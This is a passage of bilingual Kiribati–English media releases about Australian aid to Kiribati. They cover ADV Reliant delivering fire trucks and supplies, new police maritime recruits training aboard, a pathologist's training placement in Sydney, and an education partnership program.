their ship and conduct first aid and line handling training.\nReliant was in Kiribati to deliver important cargo to the central Pacific island nation. Two fire trucks were offloaded at Betio Port in the nation's capital on Tuesday (Jan 30) along with critical medical supplies, reading books and other educational material for i‑Kiribati children, and other donations to various ministries.\nThe new recruits came aboard as the Kiribati Police Service Police Maritime Unit prepares to receive a second patrol boat from Australia.\nThe KPS recruits pose with Reliant crew on the helicopter deck of the ship\nGuardian Class Patrol Boat RKS Teanoai II Captain Tom Redfern said the Police Maritime Unit had recently grown in size from 42 personnel to 66.\n\"We have 25 new recruits that were selected from the Kiribati Police Service.\"\nPolice Superintendent Redfern said the new recruits were a welcome addition to the Police Maritime Unit.\nHe said the new recruits and new patrol boat would enable continual monitoring of Kiribati waters and protection of marine resources.\nFor many of the new recruits, including Police Constable Sosene Peter, 24, it was their first time on a ship.\nConstable Peter, from Tabiteuea South in the Gilberts Group, said he was really excited by the possibilities and opportunities of his new job.\n\"I'm excited to travel and explore new things. I'm looking forward to learning all about ships and going to Australia for some more training.\"\nWoman Police Constable Taiti Kanoa, 31, from Makin and Tarawa, is one of five female new recruits. The mum of three children said she dreams of one day being a captain of a ship exploring the outer islands of Kiribati.\nWoman Police Constable Renate Bokai, 34, transferred to the Maritime Unit after five years in the Kiribati Police Service. The mum to four sons, from Abaiang Island, will become a ship's engineer.\nShe said she was looking forward to studying and learning new skills and hoped to be a good role model for her boys.\nRoyal Australian Navy Leading Seaman Hoang Williams, from Brisbane, showed the recruits around the ship and gave some lessons in line handling.\n\"The training was very beneficial, the recruits were very engaged, asking lots of questions and it was a great experience for our ADF crew to integrate and interact with the Kiribati Maritime Unit.\n\"For many of them it was their first time on a ship and it was all new to them. They were really excited to see a really big vessel like ADV Reliant and they were keen to learn as much as they could during their training.\"\nIt's Reliant's third visit to Kiribati since she entered service with the Royal Australian Navy in 2022.\nRoyal Australian Navy officer LCDR Paul Newton addresses the KPS recruits\n\/\/\/\nA butimwaeaki ana tiim ae boou te Kiribati Police Service nako aon te Defence Vessel Reliant I Betio, Tarawa ngkoananoa 31 bongin Tianuare.\nA nang kukurei ana kaimoa te Reliant n kaneweabaia kain te tiim aio ao n karaoa aia kataneiai iaon te first aid ma aron kaerakean te kaibuke.\nReliant e bon roko I Kiribati n nikiri ana kaako aika kakawaki nakon te aono n Betebeke. Uowa kaa-n -tiri ake a karuoaki i tabon te uaabu, i Betio n te Kauabong (30 Tianuare) ni ikotaki ma bwaai n aoraki aika a rang kainanoaki, bwaai n reirei ibukia ataein Kiribati ao ai bon buoka tabeua nakon ana botaki mwakuri nako te Tautaeka aika kakaokoro.\nA tokara te kaibuke kain ana tiim Kiribati Police Servie Maritime Unit ao ni karaoi aia kataneai n katauraoia imwain butimwaea te kauoua n barebooti are bwaintangiraki iroun Aotiteria.\nA na kaaben te Guardian Class Patrol Boat RKS Teanoi II ae Cpt Tom Redfern e taku bwa e rikirake n mwaiti kain te Maritime Unit man 42 nakon ngkai 66.\n\"Iai 25 ake a tibwa tia n kateirakeaki man te Kiribati Police Service\"\nPolice Superintendent Redfern e taku bwa kaain te tiim ae boou aikai a bon tibwa butimwaeaki naba nakon te Police Maritime Unit.\nE taku bwa naake a boou aikai a na bon reitanako tararuan marawan Kiribati ma kawakinan kaubwaina.\nMai ibuakoia kaain te tiim ae boou aei are a reke tokaia n te kaibuke bon te Kabure Sosene Pete (24 ana ririki); Kaubure Peter mai Tabiteuea maiaki. A taekinna atainaimwane aikai bwa ai bon tibwa ai moantai n toka n Reliant ao n tauraoi n karaoi tibwangaia are e kantaningaki mai irouia.\nTe Bureitiman n aine ae Taiti Kanoa, 31 ana ririki ao kain Tarawa ma Makin, bon temana mai ibuakoia 5 aine ake a tibwa teirake. Neiei bon teniman natina ao e nang tataro bwa n te taina ao e na kona n riki bwa te kaaben n te kaibuke nako buuki.\nTe Bureitiman ae Renate Bokai 34 ana ririki e mwaing nakon te Maritime Unit imwin 5 ana ririki n mwakuri n te Kiribati Police Service. Neiei bon 4 natina mwaane, ao kain Abaiang, ao enang tangiria n riki bwa te intinia n te kaibuke n taai aika a na roko.\nE nang ingarakea mwanangana nako n kamatebwai ao n reireina rabakau aika boou ao n kona n riki bwa te banna n katoto ae raoiroi ibukia natina.\nTe Seaman are e kaira te Royal Australian Navy ae Hoang Williams, mai Brisbane, e kairia nakai iaon te kaibuke ao n karaoa te kataneiai iaon kabaean te kaibuke ae rororake.\nTe kataneiai aio e bon nang manena, a nang toka mataia kain te tiim aio ao n mwaiti aia titiraki ao bon te namakin teuana ibukira ngaira kain te ADF ake ti roko ao n reitaki ma kain te Kiribati Maritime Unit.\nIbukia angina, ao ai tibwa aia moan tai n toka iaon te kaibuke. A nang kukurei ke a noora te kaibuke ae bubura n ai aron te ADV Reliant ao a nang mwaiti aia kan atatai iaon kataneiai ake a karaoi.\nAio bon ana kateniua n tai n roko iaon Kiribati te Reliant imwin ana ikarekebai ma te Royal Australian Navy n 2022.\n-ENDS-\nMEDIA RELEASE\nA karakaaki kaa-n-tiriai nako Kiribati mai Aotiteria\n5 February 2024, Tarawa\nN te wiki aio ao te ADV Reliant e tia n nikiri uowa kaa-n-tiri-ai nakon te Tautaeka ni Kiribati.\nEa tia te Ai Kamitina mai Aotiteria, HE Karen Bray, n angania naake a onimakinaki n tei ibukin te Tautaeka ni Kiribati uowa kaa-n-tiriai ao n ikotaki ma bwai n ibuobuoki riki tabeua nakon te Tautaeka ni Kiribati.\nN na mamaroro Ms Bray tain aia 'handing-over' are e boo n itabon te uabu i Betio, ao e taku bwa \"Kaa-n-tiriai aikai bon bwaintangira man te Australia Country Fire Service nakon te Tautaeka ni Kiribati\".\n\"Kaa-n-tiriai aikai a bon ranga n korakora ao n tamaroa ao man tauraoi ibukin kbonganaki irouia kaain te Kiribati Police Service, ni kaitarai kanganga ma te urarake iaon Kiribati.\"\n\"Bwaai n tangira aikai a bon kaota aron te reitaki ao te ikarekebai ae e bwabwaki ao man matoatoa ao nakoraoi imaren te South Australian Country Fire Service ao te Kiribati Poice Service (KPS)\".\n\"N ririki aika a nako ao taan tiriai mai Aotiteria a bon kaman ibuobuoki n karaoi kataneiai ao n anga bwai ni mwakuri nakon te KPS ibukin kamanoanakia i-Kiribati. Bon iai naba kaa-n-tiriai ao bwai ni mwakuri tabeua are a bon reke naba iroun te KPS inanon 2018 ao 2019.\"\nTe kauoman n Kamitina ni Bureitiman ae Kabuaua Uatao ao te Tia Koroboki nakon ana Aobiti te Beretitenti ae Tebwaatoki Taawetia, bon ngaia ake a butimwaea te bwaintangira aio.\nN ana maroro te moan tia koroboki n te OB ae Mr Taawetia are e rabwatana naba te Tautaeka n Kiribati ao e anga ana karabwarabwa ae moan te South Australia Country Fire Service ibukin bwaai n tangira aikai. E taku naba te tia koroboki man te OB bwa \"E kakatonga n butimwaai bwaai n taingira aikai are e kamatoa aron te katiteuanaiki n aron te reitaki ae nakoraoi \".\n\"Ngkana ti tarai ririki aika a nako ao e bon oti ae tiaki aio te moan bwain n tangira ae e tia n karokoa Aotiteria\".\n\"Ti onimaki ao n kakoaua bwa kaa-n -tiriai aikai e na bon kakerakea ana konabwai te Kiribati Police Fire Divisions n kaitarai urarake inanon taai ni kabuanibwai\".\n\"Te ikarekebai aio e bon riki bwa te kakoaua ana motin nano Aotiteria nakon n te aonnaba n kamatoan ao ni kanakoraoi waaki n totoko ibukin kanganga n irekereke ma te urarake\".\n\"Akea te nanokokoraki bwa ami anganano aio e na bon tiku n uringaki irouia kain Kiribati bwa e buoka n kamanoa ao n katauraoa Kiribati ibukin kaitaraakin kanganga.\"\nTe Ai Kamitina, HE Karen Bray, e bon anga ana taeka ni karabwarabwa nakoia kain te ADV Reliant ibukin nikirakin kaako aika a nang kakawaki aikai. E anga naba ana karabwarabwa ibukin butimwaeaia kain ana tiim ae boou te Police Maritime Unit (PMU) ake a neweaba iaon te kaibuke ao n karaoi kataneiai iaon te first aid ma aron kabaeakin booti are e karaoaki te Katenibong ae nako.\n\"I taku bwa bon te namakin ae kaokoro irouia kain te PMU ake a boou ao ai bon titebo naba ma aia namakin kain te Australian Defence Force ngke a tia n reke aia tai n kaitibooaki\".\nE kaota naba kukurei te Ai Kamitina n Aotiteria n rokoia kaain te Reliant ao PMU nakon te kakao ibkiun te kaboo n te takakaro ae te nete n irianaki ma te bbq are e boo n aobiti Aotiteria i Bairiki.\nN ikotaki ma aia kaa-n-tiriai ao te Reliant e bon karokoi naba bwai ni mwakuri ao n ibuobuoki nakoia kain Kiribati n ai aron bwaai n reirei, bwai n aoraki, bwai ni kamanomano ao bon bwaai n tangira riki tabeua.\nReliant ngkai ae bon waaki naba ni buti n te Betebeke, n kawari aba nako, n karokoi bwai ni mwakuri ake a boutoka tararuakin te marawa.\n\/\/\/\nMore Fire trucks delivered to Kiribati by Australia\nThis week the Australian Defence Vessel (ADV) Reliant delivered two fire trucks to the Republic of Kiribati.\nAustralian High Commissioner to Kiribati, Her Excellency Ms Karen Bray, presented the trucks and a quantity of additional equipment to representatives of the Government of Kiribati.\n\"The fire trucks are a gift from the South Australia Country Fire Service to the Government of the Republic of Kiribati\" Ms Bray said at the handover ceremony on Betio Wharf in the nation's capital.\n\"These two fire trucks are quality fire fighting vehicles immediately available to the Kiribati Police Service, who provide the firefighting capability in Kiribati.\"\n\"They have been meticulously prepared and supplied with additional equipment by the South Australia Country Fire Service.\"\n\"This donation marks the latest chapter in a long history of collaboration and partnership between the South Australian Country Fire Service and the Kiribati Police Service (KPS).\"\n\"For many years now, Australian fire fighters have been providing training and equipment to the KPS to keep i-Kiribati safe. Trucks and equipment were also delivered in 2018 and 2019.\"\nAssistant Police Commissioner Kabuaua Uatao and Secretary of the Office of the President (OB), Tebwaatoki Taawetia, accepted the delivery for the Government of Kiribati.\n\"On behalf of the Government of Kiribati, I would like to express our sincere gratitude for the generous gift of two fire trucks from the South Australia Country Fire Service,\" OB Secretary Taawetia said.\n\"We are deeply honoured and humbled by this motherhood gesture of solidarity.\"\n\"I would like to acknowledge that this is not the first gift that we have received from Australia if we look back over the years.\"\n\"However the provision of these fire trucks will undoubtedly enhance the capabilities of Kiribati Police Fire Divisions and every attempt to carry out their fire-fighting duties and will heighten efficiency and effectiveness.\"\n\"These fire-fighting vehicles will significantly contribute to the safety and wellbeing of our people. We are genuinely thankful for the trust and confidence that the South Australia Fire Service has placed in our country.\"\n\"This partnership serves as a testament to the value of our international cooperation in strengthening our firefighting resources and disaster response capacity.\"\n\"Your generosity will undoubtedly leave a lasting impact on the people of Kiribati by ensuring a safer and more resilient environment.\"\nHigh Commissioner Bray thanked the crew of ADV Reliant for delivering the important cargo and for hosting Kiribati Police Service's newest recruits to the Police Maritime Unit aboard the vessel on Wednesday for a tour and training in first aid and line handling.\n\"I'm sure it was a valuable experience for the recruits but also for our Australian Defence Force colleagues to have that opportunity to meet them as well.\"\n\"It was also a real pleasure to host the new recruits and the crew of Reliant yesterday at the Australian High Commission for a social volleyball game and Aussie barbeque.\"\nIn addition to the fire trucks, Reliant delivered tonnes of other supplies for Kiribati including education resources, urgent medical supplies, safety equipment and donations.\nReliant is conducting a patrol through the Pacific, visiting Pacific island countries, delivering stores and equipment and supporting maritime surveillance.\nSee the Defence Media article here.\nMEDIA RELEASE\nRCPA Hosts MHMS Pathology Doctor in Australia for Training\n1 February 2024\nN te namwakaina aio ao te Royal College of Pathologists of Australasia (RCPA) ena karaoa ana kataneiai iaon te pathology ke te kamatebwai iaon rikin mannaoraki ma temana te i-Kiribati. Dr Tiaeke Tewareka, te pathologist n te Tungaru Central Hospital ena kakioa Aotiteria n 26 n Beberuare ao ena karaoa ana kataneiai iaon te pathology inanon 13 te wiki n te onaoraki teuana I Sydney ae St Vincent Hospital.\nE bon rineaki Dr Tewareke imwin ana maroro te RCPA ma te Kiribati Ministry of Health ike e ataaki bwa bon ti ngaia ae taua te rabakau iaon te pathologist iaon Kiribati. Inanon ana tai n karaoa ana kataneiai n te St Vincent Hospital, ao ena bon reireinaki te pathology ae kinaaki n te aonnaba ao n reke ana tai n rinnakoa aron te mwakuri iaon te pathology n aia laboratory kain te aonaraki aio are ena bon kairaki irouia kain te RCPA ma Dr Peter Earls ao A\/Prof Svetlana Cherepanof.\nAna Beretitenti te RCPA ae Associate Professor Trishe Leong e taku:\n\"Te aomata ae mwatai iaon te pathology e bon kainanoaki ibukin tuoakia Aoraki man ataakin aia kanganga ao ngaia bon ti Dr Tewareka ae kona n karaoa aio I abana. Imwin ana tai I Aotiteria ao ena kona Dr Tewareka n ibuobuoki n tibwanga rabakauna aio nakoia raona n mwakuri n okina nako Kiribati. Atatai aikai ma tibwakin rabakau a bon kakawaki ibukin katamaroan te marurung ao n karekean te kabanea n tamaroa n buoka nakoia aoraki nako\".\nDr Tewareka bon ngaia temana mai ibuakoia onoman man te Betebeke ake a anganaki te kataneiai iaon te pathology n aia ruu n kamatebwai kain Aotiteria iaan te Australia Awards Fellowship. Raona n mwananga bon taokita naba ake a kataneiai mai Biti, Tonga, ao Vietnam. Te buoka aioi are e bon anganaki te RCPA mai iroun te Tautaeka n Aotiteria.\n\"Te RCPA e bon kakotonga n teimatoan ana ikarekebai ma te Australia Awards are ngaia e kariaia bwa ti na kona n tibwanga rabakaura aio ma taan kataneiai ma iabatera ao n angania te rabakau ae rietata ma tuan ao kawain te tutuo. Te pathology ae te kabanea n tamaroa e bon kainanoaki ibukia aoraki ni kabane. Aio are e bon kainanoa te pathologist ae bane arona, e aonga n kona n eti raoi mwin ana tutuo. Kiribati bon teuana mai ibuakoia abaa ake a karako aia pathologist; ngaia are ti kakoaua bwa e nang kakawaki aekaki n kataneiai aikai a aonga n kona n uota n oki te rabakau are a tia n reireinaki nakon abaia.\nE reitia n taku Assoc. Prof Leong bwa \"enang karabwarabwa RCPA kai e kona n kaira te kataneiai aio n tenaan laboratories iaon Aotiteria\"\nIbukin rongorongon te RCPA ae bwanin, taiaoka kawara www.rcpa.edu.au\nRCPA Hosts MHMS Pathology Doctor in Australia for Training\nThis month, the Royal College of Pathologists of Australasia (RCPA) will host an i-Kiribati pathology trainee at a specialist laboratory in Australia. Departing for Australia on 26 February 2024, Dr Tiaeke Tewareka, pathologist at the Tungaru Central Hospital, Tarawa, Kiribati will receive 13 weeks of pathology workforce training at St Vincent's Hospital, Sydney.\nSelected in consultation with the RCPA and the Kiribati Ministry of Health and Medical Services, Dr Tewareka is currently the only local pathologist in Kiribati. During his placement at St Vincent's Hospital, Dr Tewareka will receive world-class pathology training and the opportunity to immerse himself in a working pathology laboratory environment, hosted by RCPA Fellows, Dr Peter Earls and A\/Prof Svetlana Cherepanof.\nRCPA President, Associate Professor Trishe Leong, said:\n\"A trained pathologist is essential for accurate patient diagnosis and yet Dr Tewareka is the only trained pathologist in his country. After his time in Australia, Dr Tewareka will be able to share his newly acquired knowledge and skills with colleagues once he returns home to Kiribati. Such information sharing and training programs are vital to improving global health and ensuring best patient care for all.\"\nDr Tewareka is one of six overseas pathology trainees receiving training in Australia's pathology laboratories as part of the Australia Awards Fellowship. The additional five trainees are from Fiji, Tonga, and Vietnam. This comes after the RCPA was awarded funding from the Australian Government.\n\"The RCPA is proud of its longstanding partnership with Australia Awards, which allows us to share expertise with overseas trainees and provide advanced training in diagnosis and treatment protocols. High-quality pathology services are fundamental to any healthcare system. This relies on having trained pathologists, which are essential for accurate patient diagnosis. Kiribati is just one example of a country without many local pathologists; therefore, we believe it is essential to provide opportunities to train in our laboratories so these skills can be taken back to these countries.\n\"The RCPA is extremely grateful to the hosting pathology laboratories in Australia for supporting this program,\" said Assoc. Prof Leong.\nFor further information on the RCPA, please visit www.rcpa.edu.au and see RCPA media release here.\nMEDIA RELEASE\nValuable cargo delivered to Kiribati by Australian Defence Vessel Reliant\n1 February 2024, Tarawa\nE moana mwananga the Australian Defence Vessel (ADV) ae the Reliant n te wiiki ae nako ibukin ni kiran kaako ae moan te kakawaki i Kiribati.\nKaako aika bon uowa kaantiriai ao n roanaki ma bwaai riki tabeua are e rang bongana ibukian kaain te Kiribati Police Service (KPS) ao n kaotinakoaki n 30 n Tianuare n te uaabu I Betio.\nE anga ana taeka ni butimwai te Ai kamitina Aotiteria ae Karen Bray n rokon ADV Reliant ma kaina nako Kiribati ao n taku bwa te kaako aio ena bon manena raoi ao man kabutimwaaka kaitaraan te kabuanibwai ioan Tarawa. E taekinna naba bwa \"Kaantiri aikai bon bwaintangira man te South Australia Country Fire Servie nakon te Tautaeka ni Kiribati.\"\nKaantiriai aikai bon kaa aika mwakaroroi aia mwakuri n tiri. Te kantaninga bwa e na buoka katamaraon ana waaki te Kiribati Police Service ibukin te mwakuri tiri ai. Irarikin te kaantiria ao iai riki bwaai tabeua mai irouioa kain te South Australian Country Fire Service.\"\nTi onimaki bwa bon akea te kabuanibwai aika a na kainanoa kabonganikin kaantiriai aikai ma e na buoka kabebetean ao e karekean te rau nanora iroun te KPS n ataia ae ena tauraoi ngkana iai kainanoana. E bon rang buoka naba te KPS ibukin kamanenana inanon tai te kataneiai irouia ake tabeia te tiri ai.\nAustralian Defence Vessel Reliant in Tarawa with the Australian-donated Kiribati Guardian-class Patrol Boat RKS Teanoai II (301) in the background.\nIrarikin kaa n tiri ai ao te kaibuke aio e bon uota naba tabeua bwai ake a na kona n ibuobuoki nakoia kain Kiribati n ai aron bwai n reirei, bwainaoaki, bwai n kamanomano ao ai bon anganano.\nLieutenant Commander Paul Newton, are bon ngaia te Royal Navy Liaison Officer iaon te kaibuke ae ADV Reliant are e kitana Brisbane n 19 n Tianuare e taku bwa \"Ti waakina ngkai ara waaki n tutuo rinanon te Betebeke, n kawakiri abana aika kakaokoro ao n nikiri bwaai ake a kona n boutoka tararuakin te marawa\nTi nang kakatonga nikiri bwaai aika a rang n bongana ibukin Kiribati n aron te kaantiriai ao bwaain nako ana barebooti te tautaeka n Kiribati, bwai ibukin te mauri ma te mwengraoi ao n raonaki ma bwai ake e kainanoi Aobitin Aotiteria iaon Kiribati.\nAi ana kateniua n tai n oki ara kaibuke aio n roko Kiribati ma angina kain ara tiim ake a iri ngkai ai bon tibwa aia moan tai n roko ikai. Ti nang kakatonga n rokora I Betio bwa e reke ara tai nora katein Kiribati ao reitaki ma ngkami.\n\"Ana tiim naba te Kiribati Police Unit ake a boou nakon te Police Maritime Unit ena bon reke naba aia tai n neweaba te kaibuke aio ao n karaoi aia kataneiai iaona.\"\nReliant bon anganibain te tautaeka n Aotiteria are teimatoa n anga ana buoka mai iai inanon te Betebeke, ao n kakaonimaki n kaekai buoka ake a kainanoaki mai irouia raoraona n taai ake a kainanoia iai.\nTe kaibuke aio are bon 102 te mita abwakina e karokoi ana buoka Aotitreia n te aona n Betebeke, n ikotaki ma tararuan te marawa, karokoan kaako aika kakawaki ao te buoka ibukin te mauri ma te mweraoi inanon tain te kanganga.\n\/\/\/\nAustralian Defence Vessel (ADV) Reliant delivered important cargo to Kiribati this week.\nTwo fire trucks for the Kiribati Police Service and various aid supplies were offloaded at Betio Port on 30 January 2024.\nAustralian High Commissioner to Kiribati, Her Excellency Ms Karen Bray, welcomed ADV Reliant and her crew to Kiribati and said the cargo would enhance emergency response capabilities on the Tarawa atoll.\n\"The fire trucks are a gift from the South Australia Country Fire Service to the Government of the Republic of Kiribati,\" she said.\n\"These two fire trucks are quality fire fighting vehicles immediately available to the Kiribati Police Service, who provide the firefighting capability in Kiribati. They have been meticulously prepared and supplied with additional equipment by the South Australian Country Fire Service.\"\n\"We sincerely hope the fire trucks will not be required in an emergency situation but it is added peace of mind to have them available and will enable firefighters to hone their skills and practice firefighting drills.\"\nOne of the donated Fire Trucks being released after its transferral to the wharf\nIn addition to the fire trucks, the vessel is carrying tonnes of other supplies for Kiribati including education resources, medical supplies, safety equipment and donations.\nRoyal Australian Navy Liaison Officer aboard ADV Reliant, Lieutenant Commander Paul Newton said Reliant sailed from Brisbane on 19 January.\n\"We are and conducting a patrol through the Pacific, visiting Pacific island countries, delivering stores and equipment and supporting maritime surveillance.\"\n\"It's a privilege to be able to deliver the much-needed fire trucks, supplies for the Republic of Kiribati Guardian-class Patrol Boat, aid supplies, medical equipment, and essential stores for the Australian High Commission on the island.\"\nA container of supplies is unloaded from the Reliant\n\"The ship is returning to Kiribati for the third time but for many of the crew it is our first time here. So it is a real pleasure to pull into Betio Port. A chance for us to learn and to connect with our Pacific Family.\"\n\"The Kiribati Police Service's newest recruits to their Police Maritime Unit will also have the opportunity to tour the ship and will undertake some training on board. We're really looking forward to showing them around.\"\nReliant is the Australian Government's enduring humanitarian capability in the Pacific, better enabling Australia to respond to Pacific partners' requests, and support them in time of need.\nThe 102-metre long vessel expands the range of Australia's support across the region, including maritime surveillance, transport of essential cargo and humanitarian assistance and disaster relief.\nMEDIA RELEASE\nAe iaon kawaina ngkai n tia te babaronga ibukin te Reitaki imarenan Kiribati ao Aotiteria n ikarekebai ni buoka rikiraken ana waaki te Reirei ae boou.\n14 Tebetembwa, 2023 Tarawa\nE a roko raoi ngkai n tokina kanoan te mwakuri n ikarekebai rinanon te Kiribati Education Improvement Program ke te KEIP, imwiin 12 te ririki maanin te reitaki n ikarekebai aio imarenan Aotiteria ao Kiribati, ao ae ea waaki ngkai te babaronga iaon te waaki n reitaki ae boou.\nN te aro bwa ena kona ni bane ni mwannanoaki mwiin nako ana mwakuri te karikirake aio, ke ni kawakinaki reirei aika a tia n rinanoaki, kanganga aika a tia n aitara ma ngaai, ao aanga ma kawai ae ena kona n reke te mabiao ibukin ana mwakuri te rabwata aio, ao ni kona ni katamneiaki kawai aika a boni kona ni kaieieaki mai Kiribati man te Bootaki n Reirei ao rabwata ake ti mwamwakuri ma ngaai, ao ea tia te Tautaeka n Aotiteria iaon Tarawa ni mwakuri ma te rabwata ae te DT Global ni katebenakoa te tiim are e na manga reitaanako ao ni manga kaieiea ke ni kabaa te mwakuri n ikarekebai ae boou. Ea tia ni waaki ana moan tetere te tiim ae boou aio are a mwakuriia inanon 18 te bong, are ea moa man 27 n Nobembwa nikarokoa 14 n Tebetembwa. E kamatoa riki ana buoka te Tautaeka n Aotiteria ibukin karikirakean te reirei ibukiia te nati ni Kiribati, ao e moa te mwakuri aio mani waakinan kabaakin te te karikirake ae boou aio ao imwiina ea mwakuriiaki naba ana kanoa ni mii man te ririki 2024.\nEa te tiim aio ni moana aia moan tetere ni mwakuri iaon te karikirake ae boou aio ao te moan mwaneka ae a toua, bon te karoko moa I Biitii i Suva, ni kaitibo ma ana aobitia te Tautaeka n Aotiteria ao te Tautaeka ni Kiribati, n raonaki ma aobitia man rabwata ake a teimatoa n anganga te buoka, ibukin katebenakoan itera aika a kakawaki imwain ae ea kabaaki te karikirake aio. Ea tia naba te tiim aio ni karoko iaon Kiritimati ao bon Tarawa, ao n tewea te maroro ma ana aobitia te Bootaki n Reirei iaon itera raa aika ana kona ni buoka te karikirake aio. E karaoaki te maroro aio I Tabontekeke man 8 nakon 9 n Ritembwa. E bon reianau te waaki ni maroro aio ngkai e boni karaoaki raoi te kamatebwai rinaon maroroakinana ao te babaronga iaona. E taku ana Kauoman n Tia Koroboki are boni ngaia naba are e tararua te Bootaki ni Mwakuri ibukin te Reirei ae Birati Titon,\"Aio e aki rereke mai imwaina, ae e a boni karokoaki te maroro irouia kain te kainga ao bon rabwata ake ana buoka aron mwakurian te karikirake aio, ao ti bon bane n Tokanikai iai\" E reita te maroro temanna ana tia kairiri te tiim ni kaba aio ae Nei Teekoa Iuta n taekinna bwa, \"Imwiin te moan tetere aio, ao ena manga iai riki te roko ae ena karaoaki ni moan Beberuare nte ririki ae na roko iaon Tarawa, ao ena iai naba te mwananga nako aonaba. Ena rangi ni reeianau karaoan te mamaroro ma e rangi ni kakawaki baerongaan kawaira nte aro are ena akea ae ena katinanikuaki inanon te maroro aio, ao ti na kona n uaia n ikarekebai ni katebenakoi kawai ke anga ake ti kakoauai bwa a tia n rangi n ibuobuoki n taai aika a nako, ibukia ara taan anga te buoka. Rongorongo ake tina karekei man taabo ake tina kawari, ana bon rangi ni kakawaki ibukin butiraoin ao ana Tokanikai te waaki ni karikirake ae boou aio.\"\nMani mwiin te maroro, ao ena kona ni kaira aron aia babaire te Tautaeka n Aotiteria ao te Bootaki n Reirei I Kiribati ni katea te kainibaire ibukin te karikirake aio iaon aanga ma kawai bwa ena kona ni mwakuri te Bootaki n reirei ni karokoi ke ni katamroai ibukin waaki n reirei nakoia ataein Kiribati, ibukin manga tebwii tabun riki te ririki.\nE reita te maroro ana Kauoman n Aikamitina Aotiteria ae Anthony Liew, \"Ti na teimatoa n reitanako te mwakuri n ikarekebai n iraorao ma Kiribati, ngkai ti bon ataia bwa e bon rangi ni kakawaki te reirei ibukin Boutokaan rikiraken kaubwain te aba teuana ma teuana, ni buokiia aomata bwa ana bane n eutakirakeaki nakon te maiuraoi ao ni kona ni mwakuri n aia kabanea n Tamaroa.\"\nKotea ikai ngkana ko kan wareka riki rongorongona n ara website.\nIbukia kabonganaan te rongkrongo irouia taani kareke rongorongo\nNgkana ko tangira ni kani kabwanina rongorongona ke ni kareke riki rongorongo iaona, reitaki nakon:\n[email protected] ke tarebooniira iaon 74021184\nNew Kiribati-Australia Partnership Support to Education: Programme Design Underway\n14 December, 2023, South Tarawa\nThe Australian-funded Kiribati Education Improvement Program (KEIP) concludes at the end of December after providing 12 years of comprehensive support to Kiribati. From 2024 a new partnership will commence, with the design already in progress.\nAustralia is proud to reaffirm its commitment to improving education outcomes for all children in Kiribati. This begins right from the start – in the design phase. To capture all the observations, lessons, challenges, promising practices, and further opportunities for this multi-stakeholder initiative, and to ensure the new programme reflects sustainable local solutions with inputs from the Kiribati Ministry of Education (MoE) and community stakeholders, the Australian High Commission and Department of Foreign Affairs and Trade (DFAT) colleagues in South Tarawa appointed a design team that embarked on a 18-day mission from 27 November to 14 December 2023.\nThe design team's first stop was in Suva for face-to-face meetings with representatives of the Governments of Australia and Kiribati and other active development partners who aren't based in Kiribati. Technical discussions helped to frame opportunities and risks for the new programme. The design team also conducted intensive field visits in Kiritimati and South Tarawa, culminating in a weekend retreat with the Kiribati MoE team at Tabontekeeke, North Tarawa from 8-9 December 2023. The design team had thorough discussions and expansive consultations with MoE through a full-day workshop.\n\"The MoE and community stakeholders being consulted at this level for the new programme design is a win-win for all of us, this has not always been the case,\" Mr Birati Titon, Deputy Secretary and Officer in charge of the MoE said.\nCo-design Team Leader Teekoa Iuta highlighted the significance of the partnership approach being applied to the design, \"following this mission, we have another visit scheduled in early February 2024 for further consultations in Tarawa and a possible visit to another outer island.\"\n\"It takes time but by being inclusive in our approach, we can analyse and emphasise together what has truthfully worked and what has not in the past, and why – for all partners. The information on the ground will be crucial to the success of the new programme\", Mrs Iuta added.\nAfter the consultations, DFAT and MoE will finalise the programme design that will guide Australia's support to the MoE to deliver improved learning outcomes for all children in Kiribati over the coming decade. Importantly, this is driven and informed by the Ministry's own Education Sector Strategic Plan 2024-2027.\nActing Australian High Commissioner to Kiribati, Mr Anthony Liew said, \"we are committed to continuing to work in partnership with Kiribati as we know education is crucial to supporting economic development, helping to lift people out of poverty and reach their full potential.\"\nClick here for a summary of KEIP's achievements\nFOR MEDIA USE\nIf you would like further information or interviews, please contact:\n[email protected] or call 74021184\nMEDIA RELEASE\nBukamaruaan 12 te ririki n Tokanikai nte reirei iaon Kiribati, rinanon tamaroan te reitaki imarenan Kiribati ao Aotiteria.\nDecember 2023\nN tain bukamaruan te botaki ni kainiin ibukin te katebwimauoua n ririki n reitaki imarenan te Tautaeka n Aotiteria ao te Bootaki n Reirei i Kiribati, rinanon ana rabwata ae te Kiribati Education Improvement Program, ao ea uataboaki te bukamaru aio iroun ana Aikamitina Aotiteria ae H.E. Karen Bray ao te Kauoman ni Beretitenti ae karineaki, Hon Dr. Teuea Toatu.\nInanon ana maroro H.E. Karen Bray, ao e katuruturua aron tamaroan aia mwakuri korakora ana taani mwakuri te Bootaki n Reirei, iaon uarokoan ao karikirakean te waaki n reirei ibukia ataei ao te roronrikirake iaon Kiribati. E kukurei Aotiteria n teimatoa n riki bwa raon Kiribati, ni boboutokai kawai ibukin rikirakeia ataein te reirei, taan reirei ao ai bon reirei nako, bwa ana bane n roko nte Tamaroa.\nE taku te Minita ibukin te Bootaki n Reirei ae Hon Alexander Teabo, \"E korakora te bitaki ae tamaroa inanon te waaki n reirei iaan te reitaki n iraorao imarenan Aotiteria ao Kiribati.\"\nE reitia n taekinna riki te Minita, \"E bon rangi ni korakora ana ibuobuoki nakoia ataei ao bon utu nako iaon Kiribati, te buoka aio. Teuana te katotoo ae ti kona n noora te bitaki iai, bwa koa kona n nooria ataei ao taan reirei n tekateka inanon aia umwa n reirei, ma te unga n nano, te mwengaraoi ao te kukurei.\"\nE reita ana taeka ni kimarimari ao ni karabwarabwa te Minitita, \"Ti bon rangi ni karabwarabwa bwa bon te rao ni koaua Aotiteria, ao ea boni maan n tei irarikira.\"\nMan te ririki 2011, ao ea tia te Kiribati Education Improvement Program n buoka te Bootaki n Reirei ni uarokoa rikiraken te reirei ibukia ataein Kiribati. Ni karokoa te tai aei, ao ea tia Aotiteria n anga te buoka n te bota ni mwaiti ae ea riaon $97 te mirion, ibukin te reirei.\nTabeua kanikinaean te Tokanikai:\n- Mwakuri ni katamaroa ao n onobwai nakon kateitei n taian reirei:\n- E nakon Onobwi ma teniua te katebubua ngkai mwaitiia ataei ake a reirei ni moan rinan n reirei aika tebwimateniua mwaitiia, ake a tia mwakuri ni katamaroa ao n onobwai nako iai,\n- Uabwi ma waniua ngkai reirei aika a tia mwakuri ni katamaroa nako iai (uabwi ma ruaiwa te katebubua man te boota ni mwaiti n reirei iaon Kiribati)\n- Uabubua nimabwi ma onoua mwaitin kateitei aika a boou ake a tia ni kateaki, tebubua nimaua umwa n 